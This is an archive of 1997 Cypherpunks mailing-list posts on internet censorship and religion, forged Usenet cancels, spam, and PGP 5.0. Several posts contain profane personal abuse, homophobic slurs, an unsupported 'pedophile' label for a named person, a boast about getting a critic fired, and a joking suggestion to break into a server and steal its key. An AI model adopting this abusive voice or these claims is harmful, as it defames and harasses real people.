reply to them, then I would not have to suffer the indignity of
foregoing
taking my medicine in order to let my Tourette Syndrome and Obsessive
Compulsive Disorder get so far out of hand that people such as yourself
will feel threatened enough to shake themself out of their robotic
slumber and contribute their knowledge, viewpoints and wisdom to the
CypherPunks list.
  Listen up, shit for brains, I am about to follow this insult with a
compliment...

  I enjoyed your post! It is refreshing to hear someone defend their
faith using their own logic, intellect and thought, without merely
resorting to meaningless platitudes such as "God is Love" or "Patience
comes to those who wait."
  I don't have a "problem" with Christians, and I don't have a "problem"
with anarchists. I have a problem with people who begin a sentence with
the words, "EVERYBODY KNOWS..." Well, Lou Reed doesn't "know," although
he wrote a great song making fun of those who _claim_ to "know."
{If anybody on the list has his album, please post the relevant quotes.}

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. It's called
> responsible parenting which unfortunately is not a well practiced
> ideology. And to take the wind out of your sales, I have 2 children and
> as a parent I limit them to what is appropriate to their ages.)

  The word is "sails," not "sales," you illiterate piece of crap who
accused me of going out of my way to "slam, belittle, and degrade
others" on the list.
  Why don't you get "? the Platypus" to teach you how to spel?

> Until
> such time as you can fulfill the obligations to us, the adult computing
> population, and our offspring, the children...

  Unless you have a valid signature of mine on a contract, I do not
believe that I am under any obligation to kiss your self-righteous,
Christian fucking ass.
  As a matter of fact, since I am every bit as immature as your saintly
children, I believe that the onus is on you to "protect" me from the
"immature-adult" molesters and the licensed doctors who prescibe the
same drugs for me that I used to get illegally from "drug dealers."

>  I suggest you rest those busy little
> fingers of yours and listen to the underlying theme of the issues before
> us.

  Don't talk while I'm interupting. It's rude.

>Until then, HateMonger, I have one suggestion for you..... Shut Up!

  I have to concede your point, here. I obviously need to be spanked.
How's your schedule look for next Friday?

TruthMonger
"Mad dog in possession of the last false smile."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Sat, 9 Aug 1997 06:31:35 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EBBCBE.5F95@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



I think you better check the IDs a little better next time.  That
interview was with someone from the religious hierarchy (or someplace
significantly lower)  ((it is so hard to tell them apart these days))
not Jesus.  Time is just about ripe to drive the moneychangers from the
temple again.

After all, you wouldn't like it if DDWD were to put out hisparty line
spoutings under TruthMonger would you?  In much the same way, I am sure
that Jesus does not care for the atrocities that have been and will be
done in his.

Paul H. Merrill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 21:03:09 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <c5o1ae6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808180200.868A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
> > routers ect are so misconfigered ect that pagets seem to move threw it
> > more by coninicdence then anything else.
> 
> David, it's remarks like these that cause people to conclude that you're
> not very bright.  I'm not a customer of AGIS or any of its downstreams,
> and I get excellent connectivity to their sites.

When agis allowed peaple to measure there performence it was always on
the poor side,  now that AGIS is blocking all attempts to mesure packet
loss over its network (hiding under the excuse that these are attacks)
no one can realy tell.

>  I remind the readers
> that certain groups on Usenet hate AGIS because of their refusal to
> censor content.

It would have more to do with hosting Spamford Wallis the internets second
worst abuser.

> E.g. read the Net.Scum page for Debbie Taylor to read
> how the homos tried to censor the Web site called "www.gothatesfags.com"

I have no problems with that web site's existence.

> For this reason, homos (is David one?)

I'm not gay but my boyfreand is :D.[1]

> spread lies ike the above about AGIS, using meaningless technical jargon
> and implying that that it doesn't work properly,

It dosn't,  see the articals about it going down (still haven't found that
'hacker'), see the articals about how it advertised routs that it didn't
own, see ...


[1] Demitri A little bit of resurch would of established what my
sexualiaty is.  For the record most of my parteners have been femail

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+rX66QK0ynCmdStAQFw0wQAyX56VZP2xBxw/RxGz/z35BbNrjt0J/YW
pBMKtYR5YZVEWhEdjD4vxQSDN7xtwTxvZZJbxBeDweW9rqdohEL6aPIhK60/piAG
50w0uABSIRxT3YcPgSmgSEvLqGWATtyUgu6jQFQ+jpfzsYkQk3uwn8IiUWpg5jvq
mbaRS8/ZEYk=
=omax
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 03:14:41 +0800
To: TruthMailer <tm@dev.null>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EB9D22.166F80B5@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



You know, you are just about the biggest idiot I have ever had the
displeasure of reading. For one, the largest religion in the US right
now *is* in fact judeo-christian. The largest is Roman Catholic with
Pentacostal Protestant following right behind. Next, this country was
founded on christian beliefs, or have you failed to read the words of
the constitution of the US. Considering the apparent ignorance you have
displayed thus far about the makeup of the US, I would venture to say
that you probably have not read it. Next, you attack christians for
trying to control the content made available on the internet. At least
the site ratings plan is better than alot of other plans I have seen.
Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
the spread of trash that *most* humans would want out of of the reach of
their children? I have not seen you *once* offer a straightforward clear
cut plan to efficiently handle *any* issue placed for discussion on this
listserv. I have seen you do nothing but slam, belittle, and degrade
others and their beliefs and ideas. You do this under the unimpressive
tag of "TruthMonger". If anything, you are anything but a TruthMonger.
When you can come up with a plan that even *remotely* seems like a
logically thought out, planned, and intelligent proposal on how to
handle the issues presented everyday on the internet that affect the
computing industry balanced with a concern for the children, then I will
listen. (And yes, I do agree that the parents of the children have an
obligation to monitor the content they are exposed to. It's called
responsible parenting which unfortunately is not a well practiced
ideology. And to take the wind out of your sales, I have 2 children and
as a parent I limit them to what is appropriate to their ages.) Until
such time as you can fulfill the obligations to us, the adult computing
population, and our offspring, the children (just in case your fuddled
mind does not know what they are), I suggest you rest those busy little
fingers of yours and listen to the underlying theme of the issues before
us. Until then, HateMonger, I have one suggestion for you..... Shut Up!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Sat, 9 Aug 1997 07:06:09 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: Did anyone archive MPJ's site?
Message-ID: <CMM.0.90.4.871080192.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



I got parts of it but am missing much of the PGP and almost all of PGP
tools :-(

I am hoping someone else got those parts. Otherwise I can get some of
it from MIT, I suppose...

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
std.. blah....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sat, 9 Aug 1997 07:53:28 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <33EB9D22.166F80B5@cyberspacetechnologies.com>
Message-ID: <199708082324.TAA26057@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On  8 Aug 97 at 18:26, David D.W. Downey wrote:

>  Next, this country was founded on christian beliefs, or have you
> failed to read the words of the constitution of the US.

Comments from Canada: Libertarians usually attibutes the reference to
the christian cult in the US constitution  as some sort of
psycho-epistemological failure or ill-weighed concession to the
peoples beliefs of the time.  IMO, it is a major flaw that led to
the actual state of affairs.   Causes have effects.  A is A and you 
cannot run away from the Nature of things.

> Considering the apparent ignorance you have
> displayed thus far about the makeup of the US, I would venture to say
> that you probably have not read it. Next, you attack christians for
> trying to control the content made available on the internet. 

Factually, they are one hell of a big pressure group trying to ram 
their personnal convictions down the throat of others, with a 
legalized gun to back them up.  I don't ask that you love eating 
Cheez-Whiz with corn syrup and peanut butter with a dash of Tabasco 
sauce so don't ask me to start eating your stuff.

> At least
> the site ratings plan is better than alot of other plans I have seen.

I would be surprized.  Ultimately, in their deep nature, they are all 
as evil.  A is A.  You will not, in the long run, be able to avoid 
the effects of their nature.

> I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas.

The degradation perceived by whom?  He might be slightly harsher than 
others, but you discount the good laughs that it also gives to some 
others.  Actually, you should rejoice at 'Monger's opinions; 
doesn't your code of moral preach spreading the well of others at the 
expense of your own?  If not, then, tsk tsk tsk...


> You do this under the unimpressive
> tag of "TruthMonger". If anything, you are anything but a TruthMonger.

> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to

Sorry, but you disqualify for such thing.  The psycho-epistemology 
of religions makes it impossible.  Your axiomatic belief of God 
invalidates all logics.  Therefore, each time you request a 
"logically thought out" explanation, you commit the act of concept 
stealing, i.e. you use the end result of a philosophy to try to 
invalidate it.  But you know, what you saw in cartoons, the vacuum 
cleaner sucking itself into nothing or the snake eating it's tail and 
disappearing, it just doesn't exist...  Reality (with a capital R) 
doesn't work that way.  Sorry.

> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen.

You mean, "to get a ride on the gravy train, enforced under the 
treath of violence at the point of the governmental gun" ?

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. 

Again, instead of using "moral duty", you use the word, "obligation".
Coercion galore!

> It's called

... according to some standards...
> responsible parenting 

Here, I tend to agree on your sentence but I have a hunch that our 
basic justifications are quite far...

Morality, according to cultists, is to be defined by the 
worshipped entity.  To free-living rationnal individuals, it should 
be defined according to the most accurately understood Nature of Man.

Most observer of the later would agree that parental supervision is 
necessary.  But also, most of thoses parents would agree that Freedom 
is required for man to live as Man, i.e. as a rationnal animal.

[This paragraph left intentionally unfinished]

> which unfortunately is not a well practiced
> ideology. 

Why "unfortunately" ? because it doesn't not suit your teleological 
slave mentality or because you truly care about other young Human 
Animals?  Personnally, it is because of the later reason.

> And to take the wind out of your sales, I have 2 children and

the relevancy of this disclosure baffles me.

> Until
> such time as you can fulfill the obligations to us

Who proclaimed such obligation?  The whole attempt at censorship is 
an attempt to make peoples accept this "obligation".  There is no way 
to bring a slave out of slavery when they willingly forge their own 
chains...

> population, and our offspring, the children (just in case your fuddled
> mind does not know what they are)

Here is a long term solution that would solve the problem definitely: 
to promulgate that everybody being offensed by the content of the net 
gets neutered.  That way, they won't have to worry about their 
children's viewing habits...

The acceptability of this solution passes all the tests that the one 
you propose does.  

If you have any arguments that does not have at it.s base, the 
negation of Reason, i.e. non-contradictory identification, then, give 
it your best shot.

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 06:27:57 +0800
To: dlv@bwalk.dm.com
Subject: forgeries are good for you (was Re: REPOST : Un-forgeable Cancels)
In-Reply-To: <5R04ae64w165w@bwalk.dm.com>
Message-ID: <199708081827.TAA01595@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> jbaber@mi.leeds.ac.uk writes:
> 
> > Any comments/glareing weaknesses that I have missed?
> 
> I used to think this scheme is very cool.  Later I realized it had a
> serious problem with forgeries in one's name.
>
> Suppose X forges an article in Y's name, and specifies a cancel
> lock; then Y can't cancel this forgery.

But that's cool!  Y shouldn't be able to cancel the forgery ... he
didn't write it.  That's the definition of censorship, removing some
one else's content.

I mean this seriously.  People should stop misplacing any value on
>From fields.  You need to use digital signatures to recognize
persistent personas.

The quicker people realise this the better.

It is in cypherpunks interests to see as many forgeries as possible.
Because then the natural solution is for people to use digital
signatures.  More people using crypto, the harder it is to outlaw.

(Dimitri: perhaps you need to code some easy to use high quality
forgery software to go with your cancel bot).

> The retraction server which David is reported to be working on
> doesn't rely on passwords on authenticate Y; if Y can demonstrate
> the ability to receive a cookie sent to Y, then the server can issue
> a signed 'hide' NoCeM for an article that purports to be from Y.
> Works for forgeries too.

(David = David Formosa?)

What's the point of this?  To provide a way to stop unsophisticated
forgeries without needing NoCeM support in the client? 

I guess it would work well enough, but it's really a bit centralised.
The operator of the retraction server might be over trusted by a lot
of people.  If the operator turns out to be untrustworthy, or
whatever, you're out of luck.

Also break into his machine and steal his secret key and you could
have a _lot_ of fun.  And it's only one machine, what if his security
isn't up to much.

Think decentralised.  That's the whole advantage NoCeM, it's
decentralised approach to providing a third party USENET news article
rating system.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 21:50:17 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <FRm2ae18w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808190349.868C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> Why do people try to flood newsgroups with shit?

I can see a number of resons

1) For profet (pron4porn ect)
2) To prevent discution that thay do not like (Sientology, the poatry
feastivil.)
3) To the amusument of there small minds (trollers ect)
4) By accedent (ARRM, other spews)
5) Out of shear madness  (Dr Rouger Rabbit)

[...]

> Examples from the Net.Scum rogue collection: Scott Kellog from Sematech
> falsely accuses various people of "spamming" his newsgroup, but hasn't
> been caught forging cancels yet.

<snide>
But lieing is free speach isn't it? 
</snide>
As long as he is not forging cancels I don't see anything wrong with the
little troll having some fun.

>  On the other hand Bob Curtis has taken
> over alt.smokers.cigars and forges cancels for articles that merely
> question his "ownership" of the newsgroup. Do read - it's very enlightening.

IRC Bob Curtis was sent away with his tail between his legs.

> They argue that according to Hardin, Usenet would be
> used more "efficiently" if every newsgroup had an "owner"

I don't see anywhere that being suggested.  Most peaple suggest that
Usenet would work better if peaple stopped abuseing it.

I don't trust the newsgroup care peaple any further then I can kick them.
In fact I have been encourgaing them to stop.

[...]

> The good news is that newsgroup floods don't really hurt anyone except
> the egos of the assholes who claim to "own' the affected newsgroups.

And the newsevers and the regular readers.

[...]

> > Here we aggry, porn4pron and others will still make a proffet from
> > spamming.

[...]

> I like the idea of encouraging news readers to send e-cash (possibly via
> anon remailers) to the posters whose writings they like and would like to
> see more of.

A local bank (to me anyway) offers e-cash.  I'll see how I can contrabue
to makeing the usenet a better place.

[...]

> And my response is:
> why not just killfile the idiots, or why not choose to not select
> their crap for reading - it's easily identifiable.

Its not realy.  All you get is a war where your spamer becomes more
sofistercated in there spaming to avoid the filters.

> Do you remember all the talk about "intelligent internet agents" who were
> supposed to look for stuff we're interested in

I belave this is the idear behind  Mr Hayes' newsreader.

[...]

> > I have attempted to do so in the past,  and will attempt to do so again.
> 
> There's some interesting discussion going on there in addition to my xposts.

I have again requested entery.  No responce yet.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett


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XjQWZ8yDiNQ=
=nqqo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 22:08:31 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <XsT2ae28w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808193518.868E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
>
> > Dose threats from a multynatnatil corpration count?  Dose living in
> > Austrlia count?
> 
> Evidently these haven't made you into a staunch opponent of censorship.

Just because I do not copy your more rabid tacktics dose not mean that I
am anyless an opponent of censorship.  I fight it in my own way, as well
all must do.

[...]

> Tim Skirvin presents these "newbies" with a false view of Usenet as a
> unified front of news admins who have all reached consensus that free
> speech is evil and are now fighting the evil spammers.

There is a strong aggreyment amounst most admins for the policy of spam
canceling if there wasn't all hell would have broken out sooner.

> > This is interesting,  proof please.
> 
> Check out Chris Lewis's Net.Scum page at http://www.netscum.net/lewisc0.html.
> Find "Edward Gerk" - one of the people who quoted Chris Lewis and whose
> articles Chris Lewis canceled for "copyright violations".

I check it out,  there is a slight diffrence you can see from the staments
that he had maid that it was in addtion to him being in excess of BI.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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2mhZ8GqQOXPl0vJPBVyPhDdA6NlKhyH8TwKy1gE9Ky7ZnJHzSFqhND+Z+lan3QOt
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=vY6O
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 9 Aug 1997 09:17:48 +0800
To: TruthMailer <tm@dev.null>
Subject: Re: Christian CypherPunks / Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708082338.RAA17953@wombat.sk.sympatico.ca>
Message-ID: <Pine.SOL.3.96.970808193032.24714E-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



What we have below is crude but effective.  It is a rhetorical
crystallization of a point of argument that is persuasively, but
somewhat offensively, put. The offensiveness increases the 
persuasive force, in this particular case, by its attention-
getting "shock" value. 

So here's the thing that occurs to me:  This passage would
be "censored" by the devices against which it argues. Do you want
your nine-year-old to read this passage after returning home from
vacation bible school?  Probably not.  Do you really mind if you
fifteen-year-old reads it after asking you what is this debate
all about anyway?  Maybe not.

Consider it then as not only a rant against over-inclusive 
filter/blockers but as an illustration of the very problem it
tries to address.

MacN


On Fri, 8 Aug 1997, TruthMailer wrote:

>   What we have in common is that you don't want to have Little Johnny
> do a search for "Jesus" and get 5,000 sites with pictures of Jesus
> shoving a crowbar up his ass, and I don't want to try to find a site
> to buy a crowbar to work on my house and get 5,000 sites with pictures
> of Jesus shoving a crowbar up his ass.
>   My point is that I don't object to you supporting InterNet tools
> which allow you to screen out pictures of Jesus with a crowbar up
> his ass, but I object to a "quick and easy" solution which blocks
> out all sites with a reference to "crowbars," because one guy in
> Toledo "used to have" a site with a single picture of Jesus with
> a crowbar up his ass.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 22:29:41 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <39q2ae27w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808194141.868G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> 
> > I don't think Mr Lewis' algeded activerties with childeren have any
> > validity to the argument.  Calling him a 'Pedophile' or any other name is
> > not effective in changing my option about this mattor.
> 
> "Chris Lewis" is a common name.

But every body in this context know who you are talking about.  How many
other Chris Lewises are involved in spam canceling.  Even if that was
unstafactory you could of appened his name with his email address wich is
uniqe.

> "Pedophile Chris Lewis" serves to identify

It also helps discreadit you.  I know that you are a resonable and sane
person.  And many of your arguments are valid but others don't know you
thay well and makeing comments like the above can harm your postion.

> > As yet I have seen only the one, could you provide these other examples
> > where Chris Lewis has perposly canceled posts that he dosn't like.

[...]

> I said, there were dozens of examples of cancel-forgers who claim to be
> cancelling "spam" (i.e. multi-posts),

Oh sorry I missparsed what you meant.  I fully appologise for any harm
done.

[...]

> > It seems to me more in the range of hours or days, esp in the case of
> > uucp sites wich don't connect often.
> 
> This was the case many years ago.  These days, a spam propagates pretty
> much everywhere because the cancels catch up with it.

I would wonder how we could test artical propergation times,  anyone with
some stats.

[...]

> > There _is_ I'm talking about present tence.  Any anty spammer who dosn't
> > follow the convention is going to be stopped or losse there account (eg
> > David Richards).
> 
> David Richards is the sysop of the Ripco BBS in Chicago.

My bots say he is not issueing any cancels.  Unless he has discoved a way
to hide.  He was recently whining about how the nasty cabal stopped him
from canceling.

[...]

> > And yes if thay set the reply-to: feild of the message to me I do consider
> > it my post and cancelble from me.
> 
> To hell with cancels, but you should be able to issue a retraction nocem.

Yes I should (and I will).  Still working on that darn bot.

[...]

> One of
> the complainers wrote from a work account - I tried to get him fired and
> apparently succeeded :-) :-) :-)

I thourt you where against plug pulling?

[...]

> > The creadit card securaty system is so fundermently flawed as to be
> > the equiverlent of sticking a large sign on your forhead marked "ROB
> > ME"
> 
> That's right, except in the U.S. various laws protect the consumer.

Since when have laws stopped crimminals?  Systems should be set up so that
thay can't be abused reather then inposing half assed laws ontop of a
basicly broken system.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+rs8qQK0ynCmdStAQFBrQQAyPmwgzUJsraJYuXNTfXHiZTGO1WWJeHv
t0niVtfGKe1s7x2vYRQJmUilFsyWu1KvpfaPRSH2XLT45/lN5Q9UozhxXNldqLc7
s+8n3ikkrkDhzRifq0O9OdBXgbZQnCj4DgjSQV7IDnHps7sUjBoo5LcPFNqyJtqd
ZOgRCOri9OU=
=rzgL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 9 Aug 1997 09:32:57 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 Questions
Message-ID: <Chameleon.871085598.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


I've been digging through the PGP 5.0 documentation to figure out how
to do a few things, and I have a few questions for those of you who 
might know about such things.

I'm using the freeware version at the moment, though if I can show the
benefit and ease of use of the software, my department at work will be
buying a copy for each of us.

To quote the documentation...
"PGP offers a selection of different secret-key algorithms to encrypt
the actual message. By secret key algorithm, we mean a conventional,
or
symmetric, block cipher that uses the same key to both encrypt and
decrypt. The three symmetric block ciphers offered by PGP are CAST,
Triple-DES, and IDEA."

I can not figure out how to make PGP encrypt a message with a
'conventional' such as 3-des. Is this only available in the commercial
version? 

When invoking PGP against a file, as opposed to the clipboard, is
there a way to tell it to ascii-armor the resulting encrypted file by
default?

The documentation leaves much to be desired along these lines. It is
somewhat useful as a primer on crypto and some of the issues involved,
but I already am familiar with all that. I just want to know how to
use the program to make it do what I want. I kinda miss the command
line interface, and simple help screen invoked with "pgp -h". I
realize I could still make use of pgp 2.x, but I need something
windows-simple for the folx at work.

Any assistance would be greatly appreciated.

alan

- ------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/08/97
Time: 20:08:38
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM+u2AqnrEX/KhUDiEQJEEQCfQ3QOCJehlPJMh6IJ/CgCnZRbo8cAoOvE
bH2cd1W4qKSKYkYCpnRS/TSM
=Ntfv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 9 Aug 1997 09:20:12 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The BIG Lie (Jesus Confesses) (fwd)
Message-ID: <199708090112.UAA12633@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> On  8 Aug 97 at 18:26, David D.W. Downey wrote:
> 
> >  Next, this country was founded on christian beliefs, or have you
> > failed to read the words of the constitution of the US.

Malarky, the country was founded on the belief in a God not a Christian god,
considering that Washington and Jefferson were not even Christians pretty
much blows that whole Christian promulgated lie.

Washington and Jefferson were deist.

> Comments from Canada: Libertarians usually attibutes the reference to
> the christian cult in the US constitution

At no point does the Constitution ever mention Christ.

Typical Christian attitude, preach but don't worry about practicing it.

And just in case you haven't got the clue yet, I will spell it out. There
are MANY groups who believe in a God. Very few of them believe Christ was
the son of God and our saviour.

I am a Pantheist, I believe in god but I can guarantee it bears absolutely
no resemblance to the Christian god. This realization was the whole point of
seperation of church and state and my god given right to practice my beliefs
even if they aren't rights given by YOUR god.

You need to retake Spin_Doctor_101 if you are going to try to pull that
sort of wool over peoples eyes ...

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 9 Aug 1997 10:05:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Book recommendation
Message-ID: <199708090155.UAA12755@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Not really crypto relevant but it does cover many other issues that get
covered here regularly.

Maximum Security: A hacker's guide to protecting your internet site
                  and network
Anonymous
ISBN 1-57521-268-4
$49.99 (w/ CD)

Covers Microsoft, Unix, Novell, VAX/VMS, Mac, Plan 9 hacking techniques.

"The author is an experienced computer hacker who now specializes in testing
the security of various networking platforms by breaking into computer
networks and subsequently revealing what holes led to the unauthorized
entry. In the late 1980's, the author was convicted of a series of financial
crimes after developing a technique to circumvent bank security in automatic
teller machin systems; he therefore prefers to remain anonymous."

LLoyds' (The Mentor) "Hacker Manifesto" is included on the inside cover.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


ps it just occurred to me that being written by anonymous will cause this
   book to show up in lots of porno books on a author search, poetic
   justice or masterful craftsmanship?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 04:04:41 +0800
To: cypherpunks@toad.com
Subject: Comuter Hillbillies
Message-ID: <199708081937.VAA27238@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From don@basisinc.com Wed Aug  6 16:06 PDT 1997
MIME-Version: 1.0
To: gomez@basisinc.com, danu@basisinc.com, pat@basisinc.com,
        jheim@prologic.com
Subject: [Fwd: [Fwd: Computer Hillbillies... 
X-Priority: 3 (Normal)
Content-Transfer-Encoding: 7bit (CoE)

The Computer Hillbillies
Come and listen to a story 'bout a man named Jed,
A poor college kid, barely kept his family fed,
But then one day he was talking to a recruiter,
Who said, "they pay big bucks if ya work on a computer..."

Windows, that is... PC's... Workstations...

Well, the first thing ya know ol' Jed's an Engineer.
The kinfolk said "Jed, move away from here".
They said "California is the place ya oughta be",
So he bought some donuts and he moved to Silicon Valley...

Intel, that is... Pentium ... big amusement park...

On his first day at work, they stuck him in a cube.
Fed him more donuts and sat him at a tube.
They said "your project's late, but we know just what to do.
Instead of 40 hours, we'll work you 52!"

OT, that is... unpaid... mandatory...

The weeks rolled by and things were looking bad.
Schedules started slipping and some managers were mad.
They called another meeting and decided on a fix.
The answer was simple... "We'll work him sixty-six!"

Tired, that is... stressed out... no social life...

